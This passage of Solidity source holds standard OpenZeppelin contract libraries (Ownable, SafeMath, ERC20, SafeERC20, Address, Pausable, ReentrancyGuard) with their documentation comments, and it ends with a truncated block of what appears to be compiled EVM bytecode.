to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../../GSN/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../GSN/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } }
0x6080604052600436106103135760003560e01c80637e82a6f31161019a578063d21220a7116100e1578063e331d0391161008a578063f1ea604211610064578063f1ea604214610e1a578063f2fde38b14610e2f578063f76d13b414610e6257610313565b8063e331d03914610d73578063e7ff42c914610dbd578063eaadf84814610df057610313565b8063d9a0c217116100bb578063d9a0c21714610d0e578063dd62ed3e14610d23578063ddca3f4314610d5e57610313565b8063d21220a714610c82578063d5bcb9b514610c97578063d7d3aab514610cdb57610313565b80639ea5ce0a11610143578063aa6ca8081161011d578063aa6ca80814610b8d578063b1ec4c4014610bdb578063c40d4d6614610c4f57610313565b80639ea5ce0a14610a9e578063a457c2d714610b1b578063a9059cbb14610b5457610313565b806395cad3c71161017457806395cad3c714610a2357806395d89b4114610a565780639aad141b14610a6b57610313565b80637e82a6f3146109c65780638da5cb5b146109f957806393028d8314610a0e57610313565b80633732b3941161025e5780635ed9156d1161020757806370a08231116101e157806370a0823114610945578063715018a61461097857806378e3214f1461098d57610313565b80635ed9156d146108a15780636669302a146108fd5780636edc2c091461091257610313565b806348d67e1b1161023857806348d67e1b146107ab5780634f64b2be146107c05780635915d806146107ea57610313565b80633732b3941461066057806339509351146106755780633c6216a6146106ae57610313565b806318160ddd116102c057806323e8cae11161029a57806323e8cae11461056a5780633049105d1461057f578063313ce5671461063557610313565b806318160ddd146104bd5780631e1401f8146104e457806323b872dd1461052757610313565b8063095ea7b3116102f1578063095ea7b3146104155780630dfe16811461046257806311212d661461049357610313565b80630146081f1461031857806306fdde031461035f57806307a80070146103e9575b600080fd5b34801561032457600080fd5b5061032d610e77565b604080516001600160681b03948516815292909316602083015265ffffffffffff168183015290519081900360600190f35b34801561036b57600080fd5b50610374610ea3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103ae578181015183820152602001610396565b50505050905090810190601f1680156103db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f557600080fd5b506104136004803603602081101561040c57600080fd5b5035610f39565b005b34801561042157600080fd5b5061044e6004803603604081101561043857600080fd5b506001600160a01b038135169060200135611061565b604080519115158252519081900360200190f35b34801561046e57600080fd5b5061047761107f565b604080516001600160a01b039092168252519081900360200190f35b34801561049f57600080fd5b50610413600480360360208110156104b657600080fd5b50356110a3565b3480156104c957600080fd5b506104d26111c7565b60408051918252519081900360200190f35b3480156104f057600080fd5b506104d26004803603606081101561050757600080fd5b506001600160a01b038135811691602081013590911690604001356111cd565b34801561053357600080fd5b5061044e6004803603606081101561054a57600080fd5b506001600160a01b03813581169160208101359091169060400135611206565b34801561057657600080fd5b5061032d61128d565b6105f36004803603608081101561059557600080fd5b6040805180820182529183019291818301918390600290839083908082843760009201919091525050604080518082018252929594938181019392509060029083908390808284376000920191909152509194506112b99350505050565b6040518083815260200182600260200280838360005b83811015610621578181015183820152602001610609565b505050509050019250505060405180910390f35b34801561064157600080fd5b5061064a6112d9565b6040805160ff9092168252519081900360200190f35b34801561066c57600080fd5b506104d26112e2565b34801561068157600080fd5b5061044e6004803603604081101561069857600080fd5b506001600160a01b038135169060200135611330565b3480156106ba57600080fd5b50610770600480360360608110156106d157600080fd5b813591908101906040810160208201356401000000008111156106f357600080fd5b82018360208201111561070557600080fd5b8035906020019184602083028401116401000000008311171561072757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550505090356001600160a01b0316915061137e9050565b6040518082600260200280838360005b83811015610798578181015183820152602001610780565b5050505090500191505060405180910390f35b3480156107b757600080fd5b506104d2611624565b3480156107cc57600080fd5b50610477600480360360208110156107e357600080fd5b503561166d565b3480156107f657600080fd5b506107706004803603604081101561080d57600080fd5b8135919081019060408101602082013564010000000081111561082f57600080fd5b82018360208201111561084157600080fd5b8035906020019184602083028401116401000000008311171561086357600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061171d945050505050565b3480156108ad57600080fd5b506108d4600480360360208110156108c457600080fd5b50356001600160a01b0316611730565b604080516001600160d81b03909316835264ffffffffff90911660208301528051918290030190f35b34801561090957600080fd5b5061041361175b565b34801561091e57600080fd5b506108d46004803603602081101561093557600080fd5b50356001600160a01b0316611789565b34801561095157600080fd5b506104d26004803603602081101561096857600080fd5b50356001600160a01b03166117b4565b34801561098457600080fd5b506104136117cf565b34801561099957600080fd5b50610413600480360360408110156109b057600080fd5b506001600160a01b03813516906020013561189b565b3480156109d257600080fd5b506104d2600480360360208110156109e957600080fd5b50356001600160a01b0316611b61565b348015610a0557600080fd5b50610477611b9c565b348015610a1a57600080fd5b50610413611bb0565b348015610a2f57600080fd5b506104d260048036036020811015610a4657600080fd5b50356001600160a01b0316611bdc565b348015610a6257600080fd5b50610374611c17565b348015610a7757600080fd5b506104d260048036036020811015610a8e57600080fd5b50356001600160a01b0316611c78565b6105f3600480360360a0811015610ab457600080fd5b6040805180820182529183019291818301918390600290839083908082843760009201919091525050604080518082018252929594938181019392509060029083908390808284376000920191909152509194505050356001600160a01b03169050611cb3565b348015610b2757600080fd5b5061044e60048036036040811015610b3e57600080fd5b506001600160a01b038135169060200135612382565b348015610b6057600080fd5b5061044e60048036036040811015610b7757600080fd5b506001600160a01b0381351690602001356123ea565b348015610b9957600080fd5b50610ba26123fe565b60408051602080825283518183015283519192839290830191858101910280838360008315610621578181015183820152602001610609565b348015610be757600080fd5b50610c0e60048036036020811015610bfe57600080fd5b50356001600160a01b03166124bd565b60405180836fffffffffffffffffffffffffffffffff168152602001826fffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b348015610c5b57600080fd5b5061041360048036036020811015610c7257600080fd5b50356001600160a01b03166124f9565b348015610c8e57600080fd5b506104776126ad565b6104d2600480360360a0811015610cad57600080fd5b506001600160a01b0381358116916020810135821691604082013591606081013591608090910135166126d1565b348015610ce757600080fd5b506104d260048036036020811015610cfe57600080fd5b50356001600160a01b03166126eb565b348015610d1a57600080fd5b50610477612761565b348015610d2f57600080fd5b506104d260048036036040811015610d4657600080fd5b506001600160a01b0381358116916020013516612770565b348015610d6a57600080fd5b506104d261279b565b6104d2600480360360c0811015610d8957600080fd5b506001600160a01b0381358116916020810135821691604082013591606081013591608082013581169160a00135166127e4565b348015610dc957600080fd5b506104d260048036036020811015610de057600080fd5b50356001600160a01b0316612b7d565b348015610dfc57600080fd5b5061041360048036036020811015610e1357600080fd5b5035612bf3565b348015610e2657600080fd5b5061032d612d68565b348015610e3b57600080fd5b5061041360048036036020811015610e5257600080fd5b50356001600160a01b0316612d94565b348015610e6e57600080fd5b50610413612ebc565b6010546001600160681b0380821692600160681b830490911691600160d01b900465ffffffffffff1690565b60038054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610f2f5780601f10610f0457610100808354040283529160200191610f2f565b820191906000526020600020905b815481529060010190602001808311610f1257829003601f168201915b5050505050905090565b670de0b6b3a7640000811115610f96